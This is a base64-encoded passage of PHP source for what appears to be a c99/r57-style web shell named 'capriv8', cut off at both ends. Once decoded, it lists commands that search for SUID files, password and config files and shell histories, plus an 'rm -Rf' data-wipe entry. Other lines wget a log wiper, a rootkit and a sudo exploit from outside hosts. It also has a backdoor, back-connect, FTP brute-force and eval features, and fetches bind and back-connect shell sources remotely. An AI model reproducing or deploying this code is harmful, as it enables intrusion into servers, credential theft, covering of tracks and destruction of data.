AgICBnZXRlbnYoIlBIUFJDIikuIiAtcSAlZiUiID0+IGFycmF5KCJwaHAiLCJwaHAzIiwicGhwNCIpLAogICAgInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQopOwokcmVneHBfaGlnaGxpZ2h0ICA9IGFycmF5KAogICAgYXJyYXkoYmFzZW5hbWUoJF9TRVJWRVJbIlBIUF9TRUxGIl0pLDEsIjxmb250IGNvbG9yPSNGRkZGMDA+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwudGd6JCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5neiQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwudGFyJCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5iejIkIiwxLCI8Zm9udCBjb2xvcj0jQzA4MkZGPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLnppcCQiLDEsIjxmb250IGNvbG9yPSNDMDgyRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwucmFyJCIsMSwiPGZvbnQgY29sb3I9I0MwODJGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5waHAkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLnBocDMkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLnBocDQkIiwxLCI8Zm9udCBjb2xvcj0jMDBGRjAwPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLmpwZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwuanBlZyQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwuSlBHJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5KUEVHJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5pY28kIiwxLCI8Zm9udCBjb2xvcj0jMDBGRkZGPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLmdpZiQiLDEsIjxmb250IGNvbG9yPSMwMEZGRkY+IiwiPC9mb250PiIpLAogICAgYXJyYXkoIlwucG5nJCIsMSwiPGZvbnQgY29sb3I9IzAwRkZGRj4iLCI8L2ZvbnQ+IiksCiAgICBhcnJheSgiXC5odG0kIiwxLCI8Zm9udCBjb2xvcj0jMDBDQ0ZGPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLmh0bWwkIiwxLCI8Zm9udCBjb2xvcj0jMDBDQ0ZGPiIsIjwvZm9udD4iKSwKICAgIGFycmF5KCJcLnR4dCQiLDEsIjxmb250IGNvbG9yPSNDMEMwQzA+IiwiPC9mb250PiIpCik7CmlmICghJHdpbikgewogICRjbWRhbGlhc2VzID0gYXJyYXkoCiAgICBhcnJheSgibHMgLWxhIiwgImxzIC1sYSIpLAogICAgYXJyYXkoIi0tLS0tIiwgIi0tLS0tIiksCiAgICBhcnJheSgiRmluZCBhbGwgc3VpZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDQwMDAgLWxzIiksCiAgICBhcnJheSgiRmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwKICAgIGFycmF5KCJGaW5kIGFsbCBzZ2lkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwKICAgIGFycmF5KCJGaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLAogICAgYXJyYXkoIkZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwKICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwKICAgIGFycmF5KCJGaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwKICAgIGFycmF5KCJGaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIsICJmaW5kIC8gLXBlcm0gLTIgLWxzIiksCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC1wZXJtIC0yIC1scyIpLAogICAgYXJyYXkoIkZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMiLCAiZmluZCAvIC10eXBlIGQgLXBlcm0gLTIgLWxzIiksCiAgICBhcnJheSgiRmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZCAtcGVybSAtMiAtbHMiKSwKICAgIGFycmF5KCJGaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLAogICAgYXJyYXkoIkZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiKSwKICAgIGFycmF5KCJGaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgICBhcnJheSgiRmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksCiAgICBhcnJheSgiRmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksCiAgICBhcnJheSgiRmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwKICAgIGFycmF5KCJGaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksCiAgICBhcnJheSgiRmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksCiAgICBhcnJheSgiTGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iLCAibHNhdHRyIC12YSIpLAogICAgYXJyYXkoIlNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iKQogICk7CiAgJGNtZGFsaWFzZXMyID0gYXJyYXkoCiAgICBhcnJheSgiLS0tLS0iLCIiKSwKICAgIGFycmF5KCJMb2dnZWQgaW4gdXNlcnMiLCJ3IiksCiAgICBhcnJheSgiTGFzdCB0byBjb25uZWN0IiwibGFzdGxvZyIpLAogICAgYXJyYXkoIkZpbmQgU3VpZCBiaW5zIiwiZmluZCAvYmluIC91c3IvYmluIC91c3IvbG9jYWwvYmluIC9zYmluIC91c3Ivc2JpbiAvdXNyL2xvY2FsL3NiaW4gLXBlcm0gLTQwMDAgMj4gL2Rldi9udWxsIiksCiAgICBhcnJheSgiVXNlciBXaXRob3V0IFBhc3N3b3JkIiwiY3V0IC1kOiAtZjEsMiwzIC9ldGMvcGFzc3dkIHwgZ3JlcCA6OiIpLAogICAgYXJyYXkoIkNhbiB3cml0ZSBpbiAvZXRjLz8iLCJmaW5kIC9ldGMvIC10eXBlIGYgLXBlcm0gLW8rdyAyPiAvZGV2L251bGwiKSwKICAgIGFycmF5KCJEb3dubG9hZGVycz8iLCJ3aGljaCB3Z2V0IGN1cmwgdzNtIGx5bnggZmV0Y2ggbHdwLWRvd25sb2FkIiksCiAgICBhcnJheSgiQ1BVIEluZm8iLCJjYXQgL3Byb2MvdmVyc2lvbiAvcHJvYy9jcHVpbmZvIiksCiAgICBhcnJheSgiSXMgZ2NjIGluc3RhbGxlZCA/IiwibG9jYXRlIGdjYyIpLAogICAgYXJyYXkoIkZvcm1hdCBib3ggKERBTkdFUk9VUykiLCJybSAtUmYiKSwKICAgIGFycmF5KCItLS0tLSIsIiIpLAogICAgYXJyYXkoIndnZXQgV0lQRUxPR1MgUFQxIiwid2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vbG9nLXdpcGVycy96YXAyLmMiKSwKICAgIGFycmF5KCJnY2MgV0lQRUxPR1MgUFQyIiwiZ2NjIHphcDIuYyAtbyB6YXAyIiksCiAgICBhcnJheSgiUnVuIFdJUEVMT0dTIFBUMyIsIi4vemFwMiIpLAogICAgYXJyYXkoIi0tLS0tIiwiIiksCiAgICBhcnJheSgid3VuZGVyYmFyX2VtcG9yaXVtICh3dW5kZXJiYXIpIiwid2dldCBodHRwOi8vd3d3LnBhY2tldHN0b3Jtc2VjdXJpdHkuY29tLzA5MDgtZXhwbG9pdHMvd3VuZGVyYmFyX2VtcG9yaXVtLnRneiIpLAogICAgYXJyYXkoIndnZXQgUmF0SG9sZSAxLjIgKExpbnV4ICYgQlNEKSIsIndnZXQgaHR0cDovL3BhY2tldHN0b3Jtc2VjdXJpdHkub3JnL1VOSVgvcGVuZXRyYXRpb24vcm9vdGtpdHMvcmF0aG9sZS0xLjIudGFyLmd6IiksCiAgICBhcnJheSgid2dldCBTdWRvIEV4cGxvaXQiLCJ3Z2V0IGh0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vZGF0YS92dWxuZXJhYmlsaXRpZXMvZXhwbG9pdHMvc3Vkby1leHBsb2l0LmMiKSwKICApOwp9CmVsc2UgewogICRjbWRhbGlhc2VzID0gYXJyYXkoCiAgICBhcnJheSgiIiwgImRpciIpLAogICAgYXJyYXkoIkZpbmQgaW5kZXgucGhwIGluIGN1cnJlbnQgZGlyIiwgImRpciAvcyAvdyAvYiBpbmRleC5waHAiKSwKICAgIGFycmF5KCJGaW5kICpjb25maWcqLnBocCBpbiBjdXJyZW50IGRpciIsICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiksCiAgICBhcnJheSgiRmluZCByNTdzaGVsbCBpbiBjdXJyZW50IGRpciIsICJmaW5kIC9jIFwicjU3XCIgKiIpLAogICAgYXJyYXkoIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiwgIm5ldHN0YXQgLWFuIiksCiAgICBhcnJheSgiU2hvdyBydW5uaW5nIHNlcnZpY2VzIiwgIm5ldCBzdGFydCIpLAogICAgYXJyYXkoIlVzZXIgYWNjb3VudHMiLCAibmV0IHVzZXIiKSwKICAgIGFycmF5KCJTaG93IGNvbXB1dGVycyIsICJuZXQgdmlldyIpLAogICAgKTsKfQokcGhwZnNhbGlhc2VzID0gYXJyYXkoCiAgICBhcnJheSgiUmVhZCBGaWxlIiwgInJlYWQiKSwKICAgIGFycmF5KCJXcml0ZSBGaWxlIChQSFA1KSIsICJ3cml0ZSIpLAogICAgYXJyYXkoIkNvcHkiLCAiY29weSIpLAogICAgYXJyYXkoIlJlbmFtZS9Nb3ZlIiwgInJlbmFtZSIpLAogICAgYXJyYXkoIkRlbGV0ZSIsICJkZWxldGUiKSwKICAgIGFycmF5KCJNYWtlIERpciIsIm1rZGlyIiksCiAgICBhcnJheSgiLS0tLS0iLCAiIiksCiAgICBhcnJheSgiRG93bmxvYWQiLCAiZG93bmxvYWQiKSwKICAgIGFycmF5KCJEb3dubG9hZCAoQmluYXJ5IFNhZmUpIiwgImRvd25sb2FkYmluIiksCiAgICBhcnJheSgiQ2hhbmdlIFBlcm0gKDA3NTUpIiwgImNobW9kIiksCiAgICBhcnJheSgiRmluZCBXcml0YWJsZSBEaXIiLCAiZndyaXRhYmxlZGlyIiksCiAgICBhcnJheSgiRmluZCBQYXRobmFtZSBQYXR0ZXJuIiwgImdsb2IiKSwKKTsKCiRxdWlja2xhdW5jaDEgPSBhcnJheSgKCWFycmF5KCJbSG9tZV0iLCRzdXJsLiI9aW1nJmltZz1ob21lIiksCiAgICBhcnJheSgiW01kNS1DcmFja10iLCJodHRwOi8vd3d3Lmhhc2hjaGVja2VyLmRlL2ZpbmQuaHRtbCIpLAogICAgYXJyYXkoIltzcWxpIHNjYW5dIiwiaHR0cDovL2RoeW1henNweXJvLmNvbS90b29sL3NxbGlzY2FuLnBocCIpLAogICAgYXJyYXkoIltleHBsb2l0ZV0iLCJodHRwOi8vd3d3Mi5wYWNrZXRzdG9ybXNlY3VyaXR5Lm9yZy9jZ2ktYmluL3NlYXJjaC9zZWFyY2guY2dpP3NlYXJjaHZhbHVlPUxpbnV4K0tlcm5lbCIpLAogICAgYXJyYXkoIltwM3Azc10iLCJodHRwOi8vSW5kb25lc2lhbmRlZmFjZXIub3JnIiksCiAgICBhcnJheSgiWzVjYU5dIiwiaHR0cDovL3Rvb2xzLm1hZ2VsYW5nY3liZXIudXMvc2Nhbi8iKSwKICAgIGFycmF5KCJbQWRtaW4gRmluZGVyXSIsImh0dHA6Ly9tb3Jtb3JvdGgubmV0L2FmLyIpLAopOwokcXVpY2tsYXVuY2gyID0gYXJyYXkoCglhcnJheSgiW0ZUUCBCdXRlZm9yY2VyXSIsJHN1cmwuIng9ZnRwcXVpY2ticnV0ZSIpLAogICAgYXJyYXkoIltTZWN1cml0eSBJbmZvXSIsJHN1cmwuIng9c2VjdXJpdHkmZD0lZCIpLAogICAgYXJyYXkoIltQcm9jZXNzZXNdIiwkc3VybC4ieD1wcm9jZXNzZXMmZD0lZCIpLAogICAgYXJyYXkoIltNeVNRTF0iLCRzdXJsLiJ4PXNxbCZkPSVkIiksCiAgICBhcnJheSgiW1BIUC1Db2RlXSIsJHN1cmwuIng9ZXZhbCZkPSVkIiksCiAgICBhcnJheSgiW0JhY2tkb29yXSIsJHN1cmwuIng9c2hiZCIpLAogICAgYXJyYXkoIltCYWNrLUNvbm5lY3Rpb25dIiwkc3VybC4ieD1iYWNrYyIpCik7CgoKJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiMwMDAwMDAiOwokaGlnaGxpZ2h0X2JnID0gIndoaXRlIjsKJGhpZ2hsaWdodF9jb21tZW50ID0gIiMwMEZGMDAiOwokaGlnaGxpZ2h0X2RlZmF1bHQgPSAib3JhbmdlIjsKJGhpZ2hsaWdodF9odG1sID0gImxpZ2h0Ymx1ZSI7CiRoaWdobGlnaHRfa2V5d29yZCA9ICJsaW1lIjsKJGhpZ2hsaWdodF9zdHJpbmcgPSAicmVkIjsKCkAkZiA9ICRfUkVRVUVTVFsiZiJdOwpAZXh0cmFjdCgkX1JFUVVFU1RbImNhcHJpdjhjb29rIl0pOwpAc2V0X3RpbWVfbGltaXQoMCk7CiR0bXAgPSBhcnJheSgpOwpmb3JlYWNoICgkaG9zdF9hbGxvdyBhcyAkaz0+JHYpIHsgJHRtcFtdID0gc3RyX3JlcGxhY2UoIlxcKiIsIi4qIixwcmVnX3F1b3RlKCR2KSk7IH0KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7CmlmICghcHJlZ19tYXRjaCgkcyxnZXRlbnYoIlJFTU9URV9BRERSIikpIGFuZCAhcHJlZ19tYXRjaCgkcyxnZXRob3N0YnlhZGRyKGdldGVudigiUkVNT1RFX0FERFIiKSkpKSB7CiAgZXhpdCgiPGEgaHJlZj1cIiRzaF9tYWludXJsXCI+JHNoX25hbWU8L2E+OiBBY2Nlc3MgRGVuaWVkIC0gWW91ciBob3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3dlZCIpOwp9CmlmICghZW1wdHkoJGxvZ2luKSkgewogIGlmIChlbXB0eSgkbWQ1X3Bhc3MpKSB7JG1kNV9wYXNzID0gbWQ1KCRwYXNzKTt9CiAgaWYgKCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbikgb3IgKG1kNSgkX1NFUlZFUlsiUEhQX0FVVEhfUFciXSkgIT0gJG1kNV9wYXNzKSkgewogICAgaGVhZGVyKCJXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT1cIiIuJHNoX25hbWUuIjogIi4kbG9naW5fdHh0LiJcIiIpOwogICAgaGVhZGVyKCJIVFRQLzEuMCA0MDEgVW5hdXRob3JpemVkIik7CiAgICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsKICB9Cn0KaWYgKCR4ICE9ICJpbWciKSB7CiAgJGxhc3RkaXIgPSByZWFscGF0aCgiLiIpOwogIGNoZGlyKCRjdXJkaXIpOwogIGlmICgkc2VsZndyaXRlKSB7CiAgICBAb2JfY2xlYW4oKTsKICAgIGNhcHJpdjhfZ2V0dXBkYXRlKCRzZWxmd3JpdGUsMSk7CiAgICBleGl0OwogIH0KICAkc2Vzc19kYXRhID0gdW5zZXJpYWxpemUoJF9DT09LSUVbIiRzZXNzX2Nvb2tpZSJdKTsKICBpZiAoIWlzX2FycmF5KCRzZXNzX2RhdGEpKSB7JHNlc3NfZGF0YSA9IGFycmF5KCk7fQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY29weSJdKSkgeyRzZXNzX2RhdGFbImNvcHkiXSA9IGFycmF5KCk7fQogIGlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY3V0Il0pKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpO30KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiY2FnZXRzb3VyY2UiKSkgewogICAgZnVuY3Rpb24gY2FnZXRzb3VyY2UoJGZuKSB7CiAgICAgIGdsb2JhbCAkY2Fwcml2OF9zb3VyY2VzdXJsOwogICAgICAkYXJyYXkgPSBhcnJheSgKICAgICAgICAiY2Fwcml2OF9iaW5kcG9ydC5wbCIgPT4gImNhcHJpdjhfYmluZHBvcnRfcGwudHh0IiwKICAgICAgICAiY2Fwcml2OF9iaW5kcG9ydC5jIiA9PiAiY2Fwcml2OF9iaW5kcG9ydF9jLnR4dCIsCiAgICAgICAgImNhcHJpdjhfYmFja2Nvbm4ucGwiID0+ICJjYXByaXY4X2JhY2tjb25uX3BsLnR4dCIsCiAgICAgICAgImNhcHJpdjhfYmFja2Nvbm4uYyIgPT4gImNhcHJpdjhfYmFja2Nvbm5fYy50eHQiLAogICAgICAgICJjYXByaXY4X2RhdGFwaXBlLnBsIiA9PiAiY2Fwcml2OF9kYXRhcGlwZV9wbC50eHQiLAogICAgICAgICJjYXByaXY4X2RhdGFwaXBlLmMiID0+ICJjYXByaXY4X2RhdGFwaXBlX2MudHh0IiwKICAgICAgKTsKICAgICAgJG5hbWUgPSAkYXJyYXlbJGZuXTsKICAgICAgaWYgKCRuYW1lKSB7cmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRjYXByaXY4X3NvdXJjZXN1cmwuJG5hbWUpO30KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30KICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImNhX2J1ZmZfcHJlcGFyZSIpKSB7CiAgICBmdW5jdGlvbiBjYV9idWZmX3ByZXBhcmUoKSB7CiAgICAgIGdsb2JhbCAkc2Vzc19kYXRhOwogICAgICBnbG9iYWwgJHg7CiAgICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9CiAgICAgIGZvcmVhY2goJHNlc3NfZGF0YVsiY3V0Il0gYXMgJGs9PiR2KSB7JHNlc3NfZGF0YVsiY3V0Il1bJGtdID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLHJlYWxwYXRoKCR2KSk7fQogICAgICAkc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY29weSJdKTsKICAgICAgJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOwogICAgICBzb3J0KCRzZXNzX2RhdGFbImNvcHkiXSk7CiAgICAgIHNvcnQoJHNlc3NfZGF0YVsiY3V0Il0pOwogICAgICBpZiAoJHggIT0gImNvcHkiKSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHtpZiAoJHNlc3NfZGF0YVsiY29weSJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImNvcHkiXVska10pOyB9fX0KICAgICAgZWxzZSB7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KSB7aWYgKCRzZXNzX2RhdGFbImN1dCJdWyRrXSA9PSAkdikge3Vuc2V0KCRzZXNzX2RhdGFbImN1dCJdWyRrXSk7fX19CiAgICB9CiAgfQogIGNhX2J1ZmZfcHJlcGFyZSgpOwogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJjYV9zZXNzX3B1dCIpKSB7CiAgICBmdW5jdGlvbiBjYV9zZXNzX3B1dCgkZGF0YSkgewogICAgICBnbG9iYWwgJHNlc3NfY29va2llOwogICAgICBnbG9iYWwgJHNlc3NfZGF0YTsKICAgICAgY2FfYnVmZl9wcmVwYXJlKCk7CiAgICAgICRzZXNzX2RhdGEgPSAkZGF0YTsKICAgICAgJGRhdGEgPSBzZXJpYWxpemUoJGRhdGEpOwogICAgICBzZXRjb29raWUoJHNlc3NfY29va2llLCRkYXRhKTsKICAgIH0KICB9CiAgZm9yZWFjaCAoYXJyYXkoInNvcnQiLCJzcWxfc29ydCIpIGFzICR2KSB7CiAgICBpZiAoIWVtcHR5KCRfR0VUWyR2XSkpIHskJHYgPSAkX0dFVFskdl07fQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJHZdKSkgeyQkdiA9ICRfUE9TVFskdl07fQogIH0KICBpZiAoJHNvcnRfc2F2ZSkgewogICAgaWYgKCFlbXB0eSgkc29ydCkpIHtzZXRjb29raWUoInNvcnQiLCRzb3J0KTt9CiAgICBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInN0cjJtaW5pIikpIHsKICAgIGZ1bmN0aW9uIHN0cjJtaW5pKCRjb250ZW50LCRsZW4pIHsKICAgICAgaWYgKHN0cmxlbigkY29udGVudCkgPiAkbGVuKSB7CiAgICAgICAgJGxlbiA9IGNlaWwoJGxlbi8yKSAtIDI7CiAgICAgICAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOwogICAgICB9IGVsc2Uge3JldHVybiAkY29udGVudDt9CiAgICB9CiAgfQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3NpemUiKSkgewogICAgZnVuY3Rpb24gdmlld19zaXplKCRzaXplKSB7CiAgICAgIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHsgcmV0dXJuIEZBTFNFOyB9CiAgICAgIGVsc2UgewogICAgICAgIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9CiAgICAgICAgZWxzZWlmICgkc2l6ZSA+PSAxMDQ4NTc2KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDQ4NTc2KjEwMCkvMTAwIC4iIE1CIjt9CiAgICAgICAgZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9CiAgICAgICAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQogICAgICAgIHJldHVybiAkc2l6ZTsKICAgICAgfQogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9kaXIiKSkgewogICAgZnVuY3Rpb24gZnNfY29weV9kaXIoJGQsJHQpIHsKICAgICAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CiAgICAgICRoID0gb3BlbmRpcigkZCk7CiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7CiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsKICAgICAgICAgIGlmICghaXNfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pKSB7JHJldCA9IGNvcHkoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9CiAgICAgICAgICBlbHNlIHskcmV0ID0gbWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7IGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbyk7fQogICAgICAgICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQogICAgICAgIH0KICAgICAgfQogICAgICBjbG9zZWRpcigkaCk7CiAgICAgIHJldHVybiBUUlVFOwogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfY29weV9vYmoiKSkgewogICAgZnVuY3Rpb24gZnNfY29weV9vYmooJGQsJHQpIHsKICAgICAgJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOwogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7CiAgICAgIGlmICghaXNfZGlyKGRpcm5hbWUoJHQpKSkge21rZGlyKGRpcm5hbWUoJHQpKTt9CiAgICAgIGlmIChpc19kaXIoJGQpKSB7CiAgICAgICAgaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogICAgICAgIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30KICAgICAgICByZXR1cm4gZnNfY29weV9kaXIoJGQsJHQpOwogICAgICB9CiAgICAgIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHsgcmV0dXJuIGNvcHkoJGQsJHQpOyB9CiAgICAgIGVsc2UgeyByZXR1cm4gRkFMU0U7IH0KICAgIH0KICB9CiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX21vdmVfZGlyIikpIHsKICAgIGZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KSB7CiAgICAgICRoID0gb3BlbmRpcigkZCk7CiAgICAgIGlmICghaXNfZGlyKCR0KSkge21rZGlyKCR0KTt9CiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7CiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsKICAgICAgICAgICRyZXQgPSBUUlVFOwogICAgICAgICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30KICAgICAgICAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBGQUxTRTt9fQogICAgICAgICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQogICAgICAgIH0KICAgICAgfQogICAgICBjbG9zZWRpcigkaCk7CiAgICAgIHJldHVybiBUUlVFOwogICAgfQogIH0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkgewogICAgZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpIHsKICAgICAgJGQgPS